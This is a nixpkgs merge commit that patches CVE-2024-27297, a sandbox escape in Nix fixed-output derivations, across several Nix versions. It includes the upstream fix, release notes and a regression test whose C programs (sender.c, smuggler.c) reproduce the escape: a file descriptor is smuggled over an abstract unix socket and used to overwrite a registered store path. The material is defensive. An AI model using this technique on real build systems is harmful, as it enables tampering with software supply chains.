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Merge pull request #294031 from RaitoBezarius/cve-2024-27297

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nixVersions.nix_2_{3,18,19}: address CVE-2024-27297
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Ryan Lahfa 2024-03-07 12:50:45 +01:00 committed by GitHub
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9
pkgs/tools/package-management/nix/common.nix
View file

@ -15,6 +15,14 @@ let
atLeast210 = lib.versionAtLeast version "2.10pre";
atLeast213 = lib.versionAtLeast version "2.13pre";
atLeast214 = lib.versionAtLeast version "2.14pre";
atLeast221 = lib.versionAtLeast version "2.21pre";
# Major.minor versions unaffected by CVE-2024-27297
unaffectedByFodSandboxEscape = [
"2.3"
"2.18"
"2.19"
"2.20"
];
in
{ stdenv
, autoconf-archive
@ -249,6 +257,7 @@ self = stdenv.mkDerivation {
platforms = platforms.unix;
outputsToInstall = [ "out" ] ++ optional enableDocumentation "man";
mainProgram = "nix";
knownVulnerabilities = lib.optional (!builtins.elem (lib.versions.majorMinor version) unaffectedByFodSandboxEscape && !atLeast221) "CVE-2024-27297";
};
};
in self

5
pkgs/tools/package-management/nix/default.nix
View file

@ -156,6 +156,7 @@ in lib.makeExtensible (self: ({
hash = "sha256-EK0pgHDekJFqr0oMj+8ANIjq96WPjICe2s0m4xkUdH4=";
patches = [
patch-monitorfdhup
./patches/2_3/CVE-2024-27297.patch
];
maintainers = with lib.maintainers; [ flokli raitobezarius ];
}).override { boehmgc = boehmgc-nix_2_3; };
@ -234,12 +235,16 @@ in lib.makeExtensible (self: ({
hash = "sha256-WNmifcTsN9aG1ONkv+l2BC4sHZZxtNKy0keqBHXXQ7w=";
patches = [
patch-rapidcheck-shared
./patches/2_18/CVE-2024-27297.patch
];
};
nix_2_19 = common {
version = "2.19.3";
hash = "sha256-EtL6M0H5+0mFbFh+teVjm+0B+xmHoKwtBvigS5NMWoo=";
patches = [
./patches/2_19/CVE-2024-27297.patch
];
};
# The minimum Nix version supported by Nixpkgs

379
pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch Normal file
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@ -0,0 +1,379 @@
From f8d20e91a45f71b60402f5916d2475751c089c84 Mon Sep 17 00:00:00 2001
From: Tom Bereknyei <tomberek@gmail.com>
Date: Fri, 1 Mar 2024 03:42:26 -0500
Subject: [PATCH 1/3] Add a NixOS test for the sandbox escape
Test that we can't leverage abstract unix domain sockets to leak file
descriptors out of the sandbox and modify the path after it has been
registered.
Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
---
flake.nix | 2 +
tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++
tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++
tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++
4 files changed, 223 insertions(+)
create mode 100644 tests/nixos/ca-fd-leak/default.nix
create mode 100644 tests/nixos/ca-fd-leak/sender.c
create mode 100644 tests/nixos/ca-fd-leak/smuggler.c
diff --git a/flake.nix b/flake.nix
index 230bb6031..4a54c660f 100644
--- a/flake.nix
+++ b/flake.nix
@@ -634,6 +634,8 @@
["i686-linux" "x86_64-linux"]
(system: runNixOSTestFor system ./tests/nixos/setuid.nix);
+ tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak;
+
# Make sure that nix-env still produces the exact same result
# on a particular version of Nixpkgs.
diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
new file mode 100644
index 000000000..a6ae72adc
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/default.nix
@@ -0,0 +1,90 @@
+# Nix is a sandboxed build system. But Not everything can be handled inside its
+# sandbox: Network access is normally blocked off, but to download sources, a
+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
+# The detail here is not important, but in our case it means that the hash of
+# the output has to be known beforehand. And if you know that, you get a few
+# rights: you no longer run inside a special network namespace!
+#
+# Now, Linux has a special feature, that not many other unices do: Abstract
+# unix domain sockets! Not only that, but those are namespaced using the
+# network namespace! That means that we have a way to create sockets that are
+# available in every single fixed-output derivation, and also all processes
+# running on the host machine! Now, this wouldn't be that much of an issue, as,
+# well, the whole idea is that the output is pure, and all processes in the
+# sandbox are killed before finalizing the output. What if we didn't need those
+# processes at all? Unix domain sockets have a semi-known trick: you can pass
+# file descriptors around!
+# This makes it possible to exfiltrate a file-descriptor with write access to
+# $out outside of the sandbox. And that file-descriptor can be used to modify
+# the contents of the store path after it has been registered.
+
+{ config, ... }:
+
+let
+ pkgs = config.nodes.machine.nixpkgs.pkgs;
+
+ # Simple C program that sends a a file descriptor to `$out` to a Unix
+ # domain socket.
+ # Compiled statically so that we can easily send it to the VM and use it
+ # inside the build sandbox.
+ sender = pkgs.runCommandWith {
+ name = "sender";
+ stdenv = pkgs.pkgsStatic.stdenv;
+ } ''
+ $CC -static -o $out ${./sender.c}
+ '';
+
+ # Okay, so we have a file descriptor shipped out of the FOD now. But the
+ # Nix store is read-only, right? .. Well, yeah. But this file descriptor
+ # lives in a mount namespace where it is not! So even when this file exists
+ # in the actual Nix store, we're capable of just modifying its contents...
+ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
+
+ # The abstract socket path used to exfiltrate the file descriptor
+ socketName = "FODSandboxExfiltrationSocket";
+in
+{
+ name = "ca-fd-leak";
+
+ nodes.machine =
+ { config, lib, pkgs, ... }:
+ { virtualisation.writableStore = true;
+ nix.settings.substituters = lib.mkForce [ ];
+ virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
+ };
+
+ testScript = { nodes }: ''
+ start_all()
+
+ machine.succeed("echo hello")
+ # Start the smuggler server
+ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
+
+ # Build the smuggled derivation.
+ # This will connect to the smuggler server and send it the file descriptor
+ machine.succeed(r"""
+ nix-build -E '
+ builtins.derivation {
+ name = "smuggled";
+ system = builtins.currentSystem;
+ # look ma, no tricks!
+ outputHashMode = "flat";
+ outputHashAlgo = "sha256";
+ outputHash = builtins.hashString "sha256" "hello, world\n";
+ builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
+ }'
+ """.strip())
+
+
+ # Tell the smuggler server that we're done
+ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
+
+ # Check that the file was not modified
+ machine.succeed(r"""
+ cat ./result
+ test "$(cat ./result)" = "hello, world"
+ """.strip())
+ '';
+
+}
diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
new file mode 100644
index 000000000..75e54fc8f
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/sender.c
@@ -0,0 +1,65 @@
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <stdlib.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <string.h>
+#include <assert.h>
+
+int main(int argc, char **argv) {
+
+ assert(argc == 2);
+
+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+ // Set up a abstract domain socket path to connect to.
+ struct sockaddr_un data;
+ data.sun_family = AF_UNIX;
+ data.sun_path[0] = 0;
+ strcpy(data.sun_path + 1, argv[1]);
+
+ // Now try to connect, To ensure we work no matter what order we are
+ // executed in, just busyloop here.
+ int res = -1;
+ while (res < 0) {
+ res = connect(sock, (const struct sockaddr *)&data,
+ offsetof(struct sockaddr_un, sun_path)
+ + strlen(argv[1])
+ + 1);
+ if (res < 0 && errno != ECONNREFUSED) perror("connect");
+ if (errno != ECONNREFUSED) break;
+ }
+
+ // Write our message header.
+ struct msghdr msg = {0};
+ msg.msg_control = malloc(128);
+ msg.msg_controllen = 128;
+
+ // Write an SCM_RIGHTS message containing the output path.
+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+ hdr->cmsg_len = CMSG_LEN(sizeof(int));
+ hdr->cmsg_level = SOL_SOCKET;
+ hdr->cmsg_type = SCM_RIGHTS;
+ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
+ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
+
+ msg.msg_controllen = CMSG_SPACE(sizeof(int));
+
+ // Write a single null byte too.
+ msg.msg_iov = malloc(sizeof(struct iovec));
+ msg.msg_iov[0].iov_base = "";
+ msg.msg_iov[0].iov_len = 1;
+ msg.msg_iovlen = 1;
+
+ // Send it to the othher side of this connection.
+ res = sendmsg(sock, &msg, 0);
+ if (res < 0) perror("sendmsg");
+ int buf;
+
+ // Wait for the server to close the socket, implying that it has
+ // received the commmand.
+ recv(sock, (void *)&buf, sizeof(int), 0);
+}
diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
new file mode 100644
index 000000000..82acf37e6
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/smuggler.c
@@ -0,0 +1,66 @@
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <stdlib.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <assert.h>
+
+int main(int argc, char **argv) {
+
+ assert(argc == 2);
+
+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+ // Bind to the socket.
+ struct sockaddr_un data;
+ data.sun_family = AF_UNIX;
+ data.sun_path[0] = 0;
+ strcpy(data.sun_path + 1, argv[1]);
+ int res = bind(sock, (const struct sockaddr *)&data,
+ offsetof(struct sockaddr_un, sun_path)
+ + strlen(argv[1])
+ + 1);
+ if (res < 0) perror("bind");
+
+ res = listen(sock, 1);
+ if (res < 0) perror("listen");
+
+ int smuggling_fd = -1;
+
+ // Accept the connection a first time to receive the file descriptor.
+ fprintf(stderr, "%s\n", "Waiting for the first connection");
+ int a = accept(sock, 0, 0);
+ if (a < 0) perror("accept");
+
+ struct msghdr msg = {0};
+ msg.msg_control = malloc(128);
+ msg.msg_controllen = 128;
+
+ // Receive the file descriptor as sent by the smuggler.
+ recvmsg(a, &msg, 0);
+
+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+ while (hdr) {
+ if (hdr->cmsg_level == SOL_SOCKET
+ && hdr->cmsg_type == SCM_RIGHTS) {
+
+ // Grab the copy of the file descriptor.
+ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
+ }
+
+ hdr = CMSG_NXTHDR(&msg, hdr);
+ }
+ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
+ close(a);
+
+ // Wait for a second connection, which will tell us that the build is
+ // done
+ a = accept(sock, 0, 0);
+ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
+ // Write a new content to the file
+ if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
+ char * new_content = "Pwned\n";
+ int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
+ if (written_bytes != strlen(new_content)) perror("write");
+}
--
2.42.0
From 4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a Mon Sep 17 00:00:00 2001
From: Tom Bereknyei <tomberek@gmail.com>
Date: Fri, 1 Mar 2024 03:45:39 -0500
Subject: [PATCH 2/3] Copy the output of fixed-output derivations before
registering them
It is possible to exfiltrate a file descriptor out of the build sandbox
of FODs, and use it to modify the store path after it has been
registered.
To avoid that issue, don't register the output of the build, but a copy
of it (that will be free of any leaked file descriptor).
Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
---
src/libstore/build/local-derivation-goal.cc | 6 ++++++
src/libutil/filesystem.cc | 6 ++++++
src/libutil/util.hh | 7 +++++++
3 files changed, 19 insertions(+)
diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc
index 64b55ca6a..f1e22f829 100644
--- a/src/libstore/build/local-derivation-goal.cc
+++ b/src/libstore/build/local-derivation-goal.cc
@@ -2558,6 +2558,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
[&](const DerivationOutput::CAFixed & dof) {
auto & wanted = dof.ca.hash;
+ // Replace the output by a fresh copy of itself to make sure
+ // that there's no stale file descriptor pointing to it
+ Path tmpOutput = actualPath + ".tmp";
+ copyFile(actualPath, tmpOutput, true);
+ renameFile(tmpOutput, actualPath);
+
auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
.method = dof.ca.method,
.hashType = wanted.type,
diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc
index 11cc0c0e7..2a7787c0e 100644
--- a/src/libutil/filesystem.cc
+++ b/src/libutil/filesystem.cc
@@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
}
}
+
+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
+{
+ return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
+}
+
void renameFile(const Path & oldName, const Path & newName)
{
fs::rename(oldName, newName);
diff --git a/src/libutil/util.hh b/src/libutil/util.hh
index b302d6f45..59d42e0a5 100644
--- a/src/libutil/util.hh
+++ b/src/libutil/util.hh
@@ -274,6 +274,13 @@ void renameFile(const Path & src, const Path & dst);
*/
void moveFile(const Path & src, const Path & dst);
+/**
+ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
+ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
+ * with the guaranty that the destination will be “fresh”, with no stale inode
+ * or file descriptor pointing to it).
+ */
+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
/**
* Wrappers arount read()/write() that read/write exactly the
--
2.42.0
From 9e7065bef5469b3024cde2bbc7745530a64fde5b Mon Sep 17 00:00:00 2001
From: Tom Bereknyei <tomberek@gmail.com>
Date: Fri, 1 Mar 2024 04:01:23 -0500
Subject: [PATCH 3/3] Add release notes
Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
---
doc/manual/src/release-notes/rl-next.md | 8 ++++++++
1 file changed, 8 insertions(+)
diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md
index c869b5e2f..f77513385 100644
--- a/doc/manual/src/release-notes/rl-next.md
+++ b/doc/manual/src/release-notes/rl-next.md
@@ -1 +1,9 @@
# Release X.Y (202?-??-??)
+
+- Fix a FOD sandbox escape:
+ Cooperating Nix derivations could send file descriptors to files in the Nix
+ store to each other via Unix domain sockets in the abstract namespace. This
+ allowed one derivation to modify the output of the other derivation, after Nix
+ has registered the path as "valid" and immutable in the Nix database.
+ In particular, this allowed the output of fixed-output derivations to be
+ modified from their expected content. This isn't the case any more.
--
2.42.0

407
pkgs/tools/package-management/nix/patches/2_19/CVE-2024-27297.patch Normal file
View file

@ -0,0 +1,407 @@
From ca05f6d2038a749f63205fccc4a4daa914a6b95b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
<theophane.hufschmitt@tweag.io>
Date: Mon, 12 Feb 2024 21:28:20 +0100
Subject: [PATCH 1/4] Add a NixOS test for the sandbox escape
Test that we can't leverage abstract unix domain sockets to leak file
descriptors out of the sandbox and modify the path after it has been
registered.
---
tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++
tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++
tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++
tests/nixos/default.nix | 2 +
4 files changed, 223 insertions(+)
create mode 100644 tests/nixos/ca-fd-leak/default.nix
create mode 100644 tests/nixos/ca-fd-leak/sender.c
create mode 100644 tests/nixos/ca-fd-leak/smuggler.c
diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
new file mode 100644
index 000000000..40e57ea02
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/default.nix
@@ -0,0 +1,90 @@
+# Nix is a sandboxed build system. But Not everything can be handled inside its
+# sandbox: Network access is normally blocked off, but to download sources, a
+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
+# The detail here is not important, but in our case it means that the hash of
+# the output has to be known beforehand. And if you know that, you get a few
+# rights: you no longer run inside a special network namespace!
+#
+# Now, Linux has a special feature, that not many other unices do: Abstract
+# unix domain sockets! Not only that, but those are namespaced using the
+# network namespace! That means that we have a way to create sockets that are
+# available in every single fixed-output derivation, and also all processes
+# running on the host machine! Now, this wouldn't be that much of an issue, as,
+# well, the whole idea is that the output is pure, and all processes in the
+# sandbox are killed before finalizing the output. What if we didn't need those
+# processes at all? Unix domain sockets have a semi-known trick: you can pass
+# file descriptors around!
+# This makes it possible to exfiltrate a file-descriptor with write access to
+# $out outside of the sandbox. And that file-descriptor can be used to modify
+# the contents of the store path after it has been registered.
+
+{ config, ... }:
+
+let
+ pkgs = config.nodes.machine.nixpkgs.pkgs;
+
+ # Simple C program that sends a a file descriptor to `$out` to a Unix
+ # domain socket.
+ # Compiled statically so that we can easily send it to the VM and use it
+ # inside the build sandbox.
+ sender = pkgs.runCommandWith {
+ name = "sender";
+ stdenv = pkgs.pkgsStatic.stdenv;
+ } ''
+ $CC -static -o $out ${./sender.c}
+ '';
+
+ # Okay, so we have a file descriptor shipped out of the FOD now. But the
+ # Nix store is read-only, right? .. Well, yeah. But this file descriptor
+ # lives in a mount namespace where it is not! So even when this file exists
+ # in the actual Nix store, we're capable of just modifying its contents...
+ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
+
+ # The abstract socket path used to exfiltrate the file descriptor
+ socketName = "FODSandboxExfiltrationSocket";
+in
+{
+ name = "ca-fd-leak";
+
+ nodes.machine =
+ { config, lib, pkgs, ... }:
+ { virtualisation.writableStore = true;
+ nix.settings.substituters = lib.mkForce [ ];
+ virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
+ };
+
+ testScript = { nodes }: ''
+ start_all()
+
+ machine.succeed("echo hello")
+ # Start the smuggler server
+ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
+
+ # Build the smuggled derivation.
+ # This will connect to the smuggler server and send it the file descriptor
+ machine.succeed(r"""
+ nix-build -E '
+ builtins.derivation {
+ name = "smuggled";
+ system = builtins.currentSystem;
+ # look ma, no tricks!
+ outputHashMode = "flat";
+ outputHashAlgo = "sha256";
+ outputHash = builtins.hashString "sha256" "hello, world\n";
+ builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
+ }'
+ """.strip())
+
+
+ # Tell the smuggler server that we're done
+ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
+
+ # Check that the file was modified
+ machine.succeed(r"""
+ cat ./result
+ test "$(cat ./result)" = "hello, world"
+ """.strip())
+ '';
+
+}
diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
new file mode 100644
index 000000000..75e54fc8f
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/sender.c
@@ -0,0 +1,65 @@
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <stdlib.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <string.h>
+#include <assert.h>
+
+int main(int argc, char **argv) {
+
+ assert(argc == 2);
+
+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+ // Set up a abstract domain socket path to connect to.
+ struct sockaddr_un data;
+ data.sun_family = AF_UNIX;
+ data.sun_path[0] = 0;
+ strcpy(data.sun_path + 1, argv[1]);
+
+ // Now try to connect, To ensure we work no matter what order we are
+ // executed in, just busyloop here.
+ int res = -1;
+ while (res < 0) {
+ res = connect(sock, (const struct sockaddr *)&data,
+ offsetof(struct sockaddr_un, sun_path)
+ + strlen(argv[1])
+ + 1);
+ if (res < 0 && errno != ECONNREFUSED) perror("connect");
+ if (errno != ECONNREFUSED) break;
+ }
+
+ // Write our message header.
+ struct msghdr msg = {0};
+ msg.msg_control = malloc(128);
+ msg.msg_controllen = 128;
+
+ // Write an SCM_RIGHTS message containing the output path.
+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+ hdr->cmsg_len = CMSG_LEN(sizeof(int));
+ hdr->cmsg_level = SOL_SOCKET;
+ hdr->cmsg_type = SCM_RIGHTS;
+ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
+ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
+
+ msg.msg_controllen = CMSG_SPACE(sizeof(int));
+
+ // Write a single null byte too.
+ msg.msg_iov = malloc(sizeof(struct iovec));
+ msg.msg_iov[0].iov_base = "";
+ msg.msg_iov[0].iov_len = 1;
+ msg.msg_iovlen = 1;
+
+ // Send it to the othher side of this connection.
+ res = sendmsg(sock, &msg, 0);
+ if (res < 0) perror("sendmsg");
+ int buf;
+
+ // Wait for the server to close the socket, implying that it has
+ // received the commmand.
+ recv(sock, (void *)&buf, sizeof(int), 0);
+}
diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
new file mode 100644
index 000000000..82acf37e6
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/smuggler.c
@@ -0,0 +1,66 @@
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <stdlib.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <assert.h>
+
+int main(int argc, char **argv) {
+
+ assert(argc == 2);
+
+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+ // Bind to the socket.
+ struct sockaddr_un data;
+ data.sun_family = AF_UNIX;
+ data.sun_path[0] = 0;
+ strcpy(data.sun_path + 1, argv[1]);
+ int res = bind(sock, (const struct sockaddr *)&data,
+ offsetof(struct sockaddr_un, sun_path)
+ + strlen(argv[1])
+ + 1);
+ if (res < 0) perror("bind");
+
+ res = listen(sock, 1);
+ if (res < 0) perror("listen");
+
+ int smuggling_fd = -1;
+
+ // Accept the connection a first time to receive the file descriptor.
+ fprintf(stderr, "%s\n", "Waiting for the first connection");
+ int a = accept(sock, 0, 0);
+ if (a < 0) perror("accept");
+
+ struct msghdr msg = {0};
+ msg.msg_control = malloc(128);
+ msg.msg_controllen = 128;
+
+ // Receive the file descriptor as sent by the smuggler.
+ recvmsg(a, &msg, 0);
+
+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+ while (hdr) {
+ if (hdr->cmsg_level == SOL_SOCKET
+ && hdr->cmsg_type == SCM_RIGHTS) {
+
+ // Grab the copy of the file descriptor.
+ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
+ }
+
+ hdr = CMSG_NXTHDR(&msg, hdr);
+ }
+ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
+ close(a);
+
+ // Wait for a second connection, which will tell us that the build is
+ // done
+ a = accept(sock, 0, 0);
+ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
+ // Write a new content to the file
+ if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
+ char * new_content = "Pwned\n";
+ int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
+ if (written_bytes != strlen(new_content)) perror("write");
+}
diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
index 4459aa664..4c1cf785c 100644
--- a/tests/nixos/default.nix
+++ b/tests/nixos/default.nix
@@ -40,4 +40,6 @@ in
setuid = lib.genAttrs
["i686-linux" "x86_64-linux"]
(system: runNixOSTestFor system ./setuid.nix);
+
+ ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
}
--
2.42.0
From 558dab42315f493aa4e8480a57c2d3b0834392ec Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
<theophane.hufschmitt@tweag.io>
Date: Tue, 13 Feb 2024 08:28:02 +0100
Subject: [PATCH 2/4] Copy the output of fixed-output derivations before
registering them
It is possible to exfiltrate a file descriptor out of the build sandbox
of FODs, and use it to modify the store path after it has been
registered.
To avoid that issue, don't register the output of the build, but a copy
of it (that will be free of any leaked file descriptor).
---
src/libstore/build/local-derivation-goal.cc | 6 ++++++
src/libutil/file-system.cc | 5 +++++
src/libutil/file-system.hh | 7 +++++++
3 files changed, 18 insertions(+)
diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc
index a9f930773..d83c47d00 100644
--- a/src/libstore/build/local-derivation-goal.cc
+++ b/src/libstore/build/local-derivation-goal.cc
@@ -2543,6 +2543,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
[&](const DerivationOutput::CAFixed & dof) {
auto & wanted = dof.ca.hash;
+ // Replace the output by a fresh copy of itself to make sure
+ // that there's no stale file descriptor pointing to it
+ Path tmpOutput = actualPath + ".tmp";
+ copyFile(actualPath, tmpOutput, true);
+ renameFile(tmpOutput, actualPath);
+
auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
.method = dof.ca.method,
.hashType = wanted.type,
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index c96effff9..777f83c30 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -616,6 +616,11 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
}
}
+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
+{
+ return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
+}
+
void renameFile(const Path & oldName, const Path & newName)
{
fs::rename(oldName, newName);
diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
index 4637507b3..71db7d8bc 100644
--- a/src/libutil/file-system.hh
+++ b/src/libutil/file-system.hh
@@ -186,6 +186,13 @@ void renameFile(const Path & src, const Path & dst);
*/
void moveFile(const Path & src, const Path & dst);
+/**
+ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
+ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
+ * with the guaranty that the destination will be “fresh”, with no stale inode
+ * or file descriptor pointing to it).
+ */
+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
/**
* Automatic cleanup of resources.
--
2.42.0
From 6adce5c3baddf20a5865a646a6d5117e83693497 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
<7226587+thufschmitt@users.noreply.github.com>
Date: Wed, 21 Feb 2024 17:32:36 +0100
Subject: [PATCH 3/4] Fix a typo in a test comment
Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
---
tests/nixos/ca-fd-leak/default.nix | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
index 40e57ea02..a6ae72adc 100644
--- a/tests/nixos/ca-fd-leak/default.nix
+++ b/tests/nixos/ca-fd-leak/default.nix
@@ -80,7 +80,7 @@ in
# Tell the smuggler server that we're done
machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
- # Check that the file was modified
+ # Check that the file was not modified
machine.succeed(r"""
cat ./result
test "$(cat ./result)" = "hello, world"
--
2.42.0
From 7a803d9d5460cc990f20eff7d4d5a3623298c15b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
<theophane.hufschmitt@tweag.io>
Date: Fri, 1 Mar 2024 09:31:05 +0100
Subject: [PATCH 4/4] Add release notes
---
doc/manual/rl-next/fod-sandbox-escape.md | 14 ++++++++++++++
1 file changed, 14 insertions(+)
create mode 100644 doc/manual/rl-next/fod-sandbox-escape.md
diff --git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md
new file mode 100644
index 000000000..ed451711e
--- /dev/null
+++ b/doc/manual/rl-next/fod-sandbox-escape.md
@@ -0,0 +1,14 @@
+---
+synopsis: Fix a FOD sandbox escape
+issues:
+prs:
+---
+
+Cooperating Nix derivations could send file descriptors to files in the Nix
+store to each other via Unix domain sockets in the abstract namespace. This
+allowed one derivation to modify the output of the other derivation, after Nix
+has registered the path as "valid" and immutable in the Nix database.
+In particular, this allowed the output of fixed-output derivations to be
+modified from their expected content.
+
+This isn't the case any more.
--
2.42.0

375
pkgs/tools/package-management/nix/patches/2_3/CVE-2024-27297.patch Normal file
View file

@ -0,0 +1,375 @@
From 9c0be4c156e74a3e7e0d33b04d870642350e72d4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
<theophane.hufschmitt@tweag.io>
Date: Mon, 12 Feb 2024 21:28:20 +0100
Subject: [PATCH 1/4] Add a NixOS test for the sandbox escape
Test that we can't leverage abstract unix domain sockets to leak file
descriptors out of the sandbox and modify the path after it has been
registered.
---
release.nix | 5 ++
tests/nixos/ca-fd-leak/default.nix | 93 ++++++++++++++++++++++++++++++
tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++
tests/nixos/ca-fd-leak/smuggler.c | 66 +++++++++++++++++++++
4 files changed, 229 insertions(+)
create mode 100644 tests/nixos/ca-fd-leak/default.nix
create mode 100644 tests/nixos/ca-fd-leak/sender.c
create mode 100644 tests/nixos/ca-fd-leak/smuggler.c
diff --git a/release.nix b/release.nix
index f468946c5..2e71f3796 100644
--- a/release.nix
+++ b/release.nix
@@ -235,6 +235,11 @@ let
nix = build.x86_64-linux; system = "x86_64-linux";
});
+ tests.ca-fd-leak = (import ./tests/nixos/ca-fd-leak rec {
+ inherit nixpkgs;
+ nix = build.x86_64-linux; system = "x86_64-linux";
+ });
+
tests.setuid = pkgs.lib.genAttrs
["i686-linux" "x86_64-linux"]
(system:
